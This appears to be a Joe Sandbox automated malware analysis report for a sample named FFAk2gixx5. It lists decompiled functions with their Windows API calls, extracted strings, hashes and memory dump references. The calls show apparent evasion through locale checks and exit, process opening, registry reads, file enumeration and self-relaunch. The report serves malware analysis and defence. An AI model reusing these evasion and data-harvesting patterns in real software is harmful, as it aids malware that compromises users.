Instruction ID: bf7f6bc55254c54d21197c9aa673ce015ae0bdc4e4658c964804263f7089fac0
Opcode Fuzzy Hash: 6a756704d9a5e632f7fc2e1c6f732c660ad2fd9c7916c21d548a59f960e475b6
Instruction Fuzzy Hash: FDD16FB4A083558FEB11CFA4D48039EBBF1AF89318F28C45ED895AB341E339D841DB55

Uniqueness

Uniqueness Score: -1.00%

Function 61E241D7 Relevance: 13.7, APIs: 1, Strings: 8, Instructions: 180stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 61E24268

Strings

ya, xrefs: 61E2429A
ya, xrefs: 61E2427F
bua, xrefs: 61E24252
program, xrefs: 61E24457
Xya, xrefs: 61E24418
bua, xrefs: 61E24274
(blob), xrefs: 61E2439F
NULL, xrefs: 61E243A4

Memory Dump Source

Source File: 00000000.00000002.3333911971.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.3333893481.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333961273.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333975947.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333993273.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334005436.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334046491.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_FFAk2gixx5.jbxd

Similarity

API ID: strcmp
String ID: ya$ya$(blob)$NULL$Xya$bua$bua$program
API String ID: 1004003707-2454903709
Opcode ID: 159ce7650a377ea6ea6ab72cd320b4004e236130d8e3e4a11b54add8b656ccd7
Instruction ID: 4befd86826370bfd8630e1afa8d422750160e2b9b2ea18a9ced5634f5bcee847
Opcode Fuzzy Hash: 159ce7650a377ea6ea6ab72cd320b4004e236130d8e3e4a11b54add8b656ccd7
Instruction Fuzzy Hash: 3B7115B49097469FC708CF58C191A59BBF0BF8A304F25C85EE8A89B751D335D882CF92

Uniqueness

Uniqueness Score: -1.00%

Function 00413D80 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT ref: 00413D8E

Part of subcall function 00416D30: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D78

OpenProcess.KERNEL32(001FFFFF,00000000,00413FBD,0041D28B), ref: 00413DCC
memset.MSVCRT ref: 00413E1A
??_V@YAXPAX@Z.MSVCRT ref: 00413F6E

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 00413E3C

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: OpenProcesslstrcpymemset
String ID: 65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 224852652-4138519520
Opcode ID: f57065057afaf124e0ecc320f971a223d088372f746df66d02fc246fef80c822
Instruction ID: d856183ab5fe66680530eae45f61eeb2e09e8ebe4f945000bbbdd5294c41c952
Opcode Fuzzy Hash: f57065057afaf124e0ecc320f971a223d088372f746df66d02fc246fef80c822
Instruction Fuzzy Hash: 41513DB0D002189BDB24EF95DC55BEEB775AF48305F1041AEE21966281EB386BC9CF5C

Uniqueness

Uniqueness Score: -1.00%

Function 61EAFA90 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 109filememoryCOMMON

Download Yara Rule

APIs

fwrite.MSVCRT ref: 61EAFABB
vfprintf.MSVCRT ref: 61EAFAD7
abort.MSVCRT ref: 61EAFADC
VirtualQuery.KERNEL32 ref: 61EAFB80
VirtualProtect.KERNEL32 ref: 61EAFBC2

Strings

@, xrefs: 61EAFBAB

Memory Dump Source

Source File: 00000000.00000002.3333911971.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.3333893481.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333961273.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333975947.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333993273.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334005436.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334046491.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_FFAk2gixx5.jbxd

Similarity

API ID: Virtual$ProtectQueryabortfwritevfprintf
String ID: @
API String ID: 1503958624-2766056989
Opcode ID: c2659c9de0e6f83528643800fc17f210c5c049cf07d0f7c16b155af3332bfc43
Instruction ID: e02739713456e9e2b4b58c9f61bb7aa4e21306e92e7ace3c3799b12748f41957
Opcode Fuzzy Hash: c2659c9de0e6f83528643800fc17f210c5c049cf07d0f7c16b155af3332bfc43
Instruction Fuzzy Hash: 9A412AB1A547029FD700DF68D58464ABBF0FB89758F64C92DE8A98B340E734E884CB52

Uniqueness

Uniqueness Score: -1.00%

Function 00418833 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0041883F

Part of subcall function 00417B1C: __getptd_noexit.LIBCMT ref: 00417B1F
Part of subcall function 00417B1C: __amsg_exit.LIBCMT ref: 00417B2C

__amsg_exit.LIBCMT ref: 0041885F
__lock.LIBCMT ref: 0041886F
InterlockedDecrement.KERNEL32(?), ref: 0041888C
_free.LIBCMT ref: 0041889F
InterlockedIncrement.KERNEL32(00423530), ref: 004188B7

Strings

05B, xrefs: 004188A5, 004188AD

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lock_free
String ID: 05B
API String ID: 3470314060-3788103304
Opcode ID: 2120d248408c0000c08111bc804e4e906468570669177fbb87be588d7df95ff2
Instruction ID: e31f64162e291eb231d833809677df87a8b1173e78ea05372929058f1fbe4fb8
Opcode Fuzzy Hash: 2120d248408c0000c08111bc804e4e906468570669177fbb87be588d7df95ff2
Instruction Fuzzy Hash: F5018E31A05611ABD720BF6698057CA7770AF05725F90402FF414A7390CB3C69C2CBED

Uniqueness

Uniqueness Score: -1.00%

Function 61E01040 Relevance: 10.6, APIs: 7, Instructions: 132sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(?,?,?,61E012DC), ref: 61E01077
_amsg_exit.MSVCRT ref: 61E010A4

Memory Dump Source

Source File: 00000000.00000002.3333911971.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.3333893481.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333961273.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333975947.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333993273.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334005436.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334046491.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_FFAk2gixx5.jbxd

Similarity

API ID: Sleep_amsg_exit
String ID:
API String ID: 1015461914-0
Opcode ID: a124d45cb5394699c2ab659ebe120ec1ccf49b51c805edf607fecf4702c5277b
Instruction ID: a154691f748ef5392a7e4955094c5928503ae470ce452f5208c2c148eeae8840
Opcode Fuzzy Hash: a124d45cb5394699c2ab659ebe120ec1ccf49b51c805edf607fecf4702c5277b
Instruction Fuzzy Hash: 13414F71B146818FEB00AFE8C98470BB7F1EB85399F64C53DE4A48B344D775D9918B82

Uniqueness

Uniqueness Score: -1.00%

Function 00413430 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

GetUserDefaultLangID.KERNEL32(?,?,004136D6,0041D6E3), ref: 00413434
ExitProcess.KERNEL32 ref: 00413465
ExitProcess.KERNEL32 ref: 0041346F
ExitProcess.KERNEL32 ref: 00413479
ExitProcess.KERNEL32 ref: 00413483

Strings

&, xrefs: 0041344C

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: ExitProcess$DefaultLangUser
String ID: &
API String ID: 1494266314-1010288
Opcode ID: 53481d27eb0b2c959402a824bc186546c1ac482e5a1e826e20063e6d6e322387
Instruction ID: f0cc7001163a043f2942b05d1a4e355ca430d10b8a65cf40b081383cf144c8be
Opcode Fuzzy Hash: 53481d27eb0b2c959402a824bc186546c1ac482e5a1e826e20063e6d6e322387
Instruction Fuzzy Hash: A5F03930544608EFD764DFE1EF097ACFBB5EB8E713F100299E60A9A290CA304B51DB95

Uniqueness

Uniqueness Score: -1.00%

Function 00411D80 Relevance: 9.1, APIs: 6, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00411DA5
RegOpenKeyExA.ADVAPI32(80000001,02C576A8,00000000,00020119,?), ref: 00411DC4
RegQueryValueExA.ADVAPI32(?,02C56E38,00000000,00000000,00000000,000000FF), ref: 00411DE8
RegCloseKey.ADVAPI32(?), ref: 00411DF2
lstrcat.KERNEL32(?,00000000), ref: 00411E17
lstrcat.KERNEL32(?,02C56E08), ref: 00411E2B

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValuememset
String ID:
API String ID: 2623679115-0
Opcode ID: 3f71fd4908a90213167e33506b36161db2311269d06c9b041edd0fa96329d8d7
Instruction ID: 222a99b0bed22135005400b44235cd15b224f520cd9597bc99f6ef75c8b54726
Opcode Fuzzy Hash: 3f71fd4908a90213167e33506b36161db2311269d06c9b041edd0fa96329d8d7
Instruction Fuzzy Hash: DD4183B290010CABCB15EBE0DC96EEE773EAB88745F00454DF71A5A191EE7467848BE1

Uniqueness

Uniqueness Score: -1.00%

Function 0040F200 Relevance: 7.6, APIs: 5, Instructions: 120stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 0040F228
strtok_s.MSVCRT ref: 0040F36D

Part of subcall function 00416E10: lstrlen.KERNEL32(00000000,?,?,00412BE0,0041D59B,0041D59A,?,?,004137C6,00000000,?,02C52310,?,0041D8AC,?,00000000), ref: 00416E1B
Part of subcall function 00416E10: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416E75

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: strtok_s$lstrcpylstrlen
String ID:
API String ID: 348468850-0
Opcode ID: 5523492045dd48852b7dd3546b38ac5184d3d8a78631ef09f1fe2476c6b5ecc2
Instruction ID: 0ef0b3c381a87db240e0c2375494e830930a662d8f58a9bdf7286c862dfa9f3c
Opcode Fuzzy Hash: 5523492045dd48852b7dd3546b38ac5184d3d8a78631ef09f1fe2476c6b5ecc2
Instruction Fuzzy Hash: 27513CB4A04109DFCB18CF54D595AAE7BB5FB48308F10817EE802AB390D734EA95CB95

Uniqueness

Uniqueness Score: -1.00%

Function 00412980 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004154D0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 004154FB

lstrcat.KERNEL32(?,00000000), ref: 004129BA
lstrcat.KERNEL32(?,0041D888), ref: 004129D7
lstrcat.KERNEL32(?,02C524E0), ref: 004129EB
lstrcat.KERNEL32(?,0041D88C), ref: 004129FD

Part of subcall function 00412570: wsprintfA.USER32 ref: 00412589
Part of subcall function 00412570: FindFirstFileA.KERNEL32(?,?), ref: 004125A0

Part of subcall function 00412570: StrCmpCA.SHLWAPI(?,0041D864), ref: 004125CE
Part of subcall function 00412570: StrCmpCA.SHLWAPI(?,0041D868), ref: 004125E4
Part of subcall function 00412570: FindNextFileA.KERNEL32(000000FF,?), ref: 004127B9
Part of subcall function 00412570: FindClose.KERNEL32(000000FF), ref: 004127CE

Strings

L0A, xrefs: 00412A22, 00412A51, 00412A73, 00412A25, 00412A54

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID: L0A
API String ID: 2667927680-1482484291
Opcode ID: bbfac5b10a0029ffce7743a1cdd059bf313c8f46b29217c67ca3fd459bb96cc8
Instruction ID: 622a1b6399407f9e9a78ad474f4244ab6a36371e6ca5e3f640451192d7161c37
Opcode Fuzzy Hash: bbfac5b10a0029ffce7743a1cdd059bf313c8f46b29217c67ca3fd459bb96cc8
Instruction Fuzzy Hash: 26210EB69001087BC724FBA0DC46ED9373E9B54705F00058AB649570C1EE7867C4CBD5

Uniqueness

Uniqueness Score: -1.00%

Function 004135D0 Relevance: 7.6, APIs: 5, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(0041D8AC,?,?,004137C1,00000000,?,02C52310,?,0041D8AC,?,00000000,?), ref: 0041361C
sscanf.NTDLL ref: 00413649
SystemTimeToFileTime.KERNEL32(0041D8AC,00000000,?,?,?,?,?,?,?,?,?,?,?,02C52310,?,0041D8AC), ref: 00413662
SystemTimeToFileTime.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?,?,02C52310,?,0041D8AC), ref: 00413670
ExitProcess.KERNEL32 ref: 0041368A

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID:
API String ID: 2533653975-0
Opcode ID: 4cead64d4cba339c9d296e188eb83a43f25ca8df0a446ddef05259c7f606f000
Instruction ID: a7f179f11f10c4d90e2e9871c0ceff2095db9d3876984d2a4c80c2f98db3bfb3
Opcode Fuzzy Hash: 4cead64d4cba339c9d296e188eb83a43f25ca8df0a446ddef05259c7f606f000
Instruction Fuzzy Hash: A121EB75D04208AFCF14EFE4E945AEEB7BABF4C305F04856EE50AA3250EB345605CB68

Uniqueness

Uniqueness Score: -1.00%

Function 61EAF850 Relevance: 7.6, APIs: 5, Instructions: 54timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 61EAF889
GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,61E01439), ref: 61EAF89A
GetCurrentThreadId.KERNEL32 ref: 61EAF8A2
GetTickCount.KERNEL32 ref: 61EAF8AA
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,61E01439), ref: 61EAF8B9

Memory Dump Source

Source File: 00000000.00000002.3333911971.0000000061E01000.00000020.00001000.00020000.00000000.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000000.00000002.3333893481.0000000061E00000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333961273.0000000061EB4000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333975947.0000000061EB7000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3333993273.0000000061ECC000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334005436.0000000061ECD000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334018362.0000000061ED3000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.3334046491.0000000061ED4000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61e00000_FFAk2gixx5.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: 11ba3c5eec943ccd272f0a4fc468b32cfef13cd0c029082f67a55811cb38d485
Instruction ID: 8be46cd1f480235cb6d0906dde7f3b0c5fd652d59fe7cf958993e94cb5683476
Opcode Fuzzy Hash: 11ba3c5eec943ccd272f0a4fc468b32cfef13cd0c029082f67a55811cb38d485
Instruction Fuzzy Hash: 8D1170B29553118FCB00DFB9E58855BBBE0FB89654F050939E544CB200EB35D9898B92

Uniqueness

Uniqueness Score: -1.00%

Function 00414EC0 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00414F0C
HeapAlloc.KERNEL32(00000000), ref: 00414F13
wsprintfA.USER32 ref: 00414F2D

Part of subcall function 00416D30: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D78

Strings

%dx%d, xrefs: 00414F24
Fs, xrefs: 00414EE1, 00414EF0

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: Heap$AllocProcesslstrcpywsprintf
String ID: Fs$%dx%d
API String ID: 2716131235-1170756869
Opcode ID: e0f99ffabb7639ca8a086e59b0d0ee4afa459661297d11aab7a2ca9dbd5acc2c
Instruction ID: 12895fa642cf4c45213d209d3d835e9152383242c7af7ce3770949015740cfe1
Opcode Fuzzy Hash: e0f99ffabb7639ca8a086e59b0d0ee4afa459661297d11aab7a2ca9dbd5acc2c
Instruction Fuzzy Hash: 5E112DB1A40708AFDB10DFE4DD49FBE77B9FB48701F104548FA09A7280CA759901CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 00415950 Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 41stringCOMMON

Download Yara Rule

APIs

StrStrA.SHLWAPI(02C56C70,?,?,?,0040F76C,?,02C56C70,00000000), ref: 0041595C
lstrcpyn.KERNEL32(00625310,02C56C70,02C56C70,?,0040F76C,?,02C56C70), ref: 00415980
lstrlen.KERNEL32(?,?,0040F76C,?,02C56C70), ref: 00415997
wsprintfA.USER32 ref: 004159B7

Strings

%s%s, xrefs: 004159A5

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s
API String ID: 1206339513-3252725368
Opcode ID: 145a19e204c32b80f721800f8dc263c6d3553908343d9ba3445ddbc103129e49
Instruction ID: 11cf93f43daa43ed661d9cf61e117e4217534c0ee91ffdd3bed5a25a0ce96251
Opcode Fuzzy Hash: 145a19e204c32b80f721800f8dc263c6d3553908343d9ba3445ddbc103129e49
Instruction Fuzzy Hash: 98015A75510908FFCB14DFA8D948EAE7BB9FF88344F108588F90A9B340CA71AA40CF94

Uniqueness

Uniqueness Score: -1.00%

Function 00401260 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 00401274
HeapAlloc.KERNEL32(00000000), ref: 0040127B
RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 00401297
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012B5
RegCloseKey.ADVAPI32(?), ref: 004012BF

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: df6da7dedf044903e367d3d8a7ae0c03a7d74832a2c3d67e0360b54011cb2cfc
Instruction ID: 7bc2c45b39987af01ac2684a9b0918313f40fb8da876f9e4b9d967da472c28c8
Opcode Fuzzy Hash: df6da7dedf044903e367d3d8a7ae0c03a7d74832a2c3d67e0360b54011cb2cfc
Instruction Fuzzy Hash: 3C011D79A40608BFDB20DFE0DD49FAEB779AB88700F008159FA05E7280DA749A018B90

Uniqueness

Uniqueness Score: -1.00%

Function 00418597 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 004185A3

Part of subcall function 00417B1C: __getptd_noexit.LIBCMT ref: 00417B1F
Part of subcall function 00417B1C: __amsg_exit.LIBCMT ref: 00417B2C

__getptd.LIBCMT ref: 004185BA
__amsg_exit.LIBCMT ref: 004185C8
__lock.LIBCMT ref: 004185D8
__updatetlocinfoEx_nolock.LIBCMT ref: 004185EC

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_FFAk2gixx5.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: a10cd69e80861babc2173a4676fdaa377cdb3f166a93912c983b86b5fd72371a
Instruction ID: aeb97fcac724ca79f5771a55564d68c8ba79a7b61617346401168043fb04a1e6
Opcode Fuzzy Hash: a10cd69e80861babc2173a4676fdaa377cdb3f166a93912c983b86b5fd72371a
Instruction Fuzzy Hash: 2AF06232A08610AAD721BB6998027CA32B1AB00768F10411FF404A72D2CF6C59C2CA5D

Uniqueness

Uniqueness Score: -1.00%

Function 004132F0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,0000003C,?,000003E8), ref: 00413323

Part of subcall function 00416D30: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D78

Part of subcall function 00416FA0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FB5
Part of subcall function 00416FA0: lstrcpy.KERNEL32(00000000), ref: 00416FF4
Part of subcall function 00416FA0: lstrcat.KERNEL32(00000000,00000000), ref: 00417002

Part of subcall function 00416E90: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416EF5

ShellExecuteEx.SHELL32(0000003C), ref: 004133E6
ExitProcess.KERNEL32 ref: 00413415

Strings

<, xrefs: 00413399

Memory Dump Source

Source File: 00000000.00000002.3314009365.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3314009365.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3314009365.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
